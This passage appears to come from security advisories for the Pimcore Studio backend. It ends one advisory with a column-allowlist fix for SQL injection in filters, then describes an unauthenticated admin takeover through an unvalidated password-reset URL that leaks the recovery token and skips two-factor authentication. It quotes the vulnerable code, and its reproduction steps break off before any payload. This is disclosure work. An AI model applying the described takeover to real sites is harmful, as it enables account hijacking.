private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.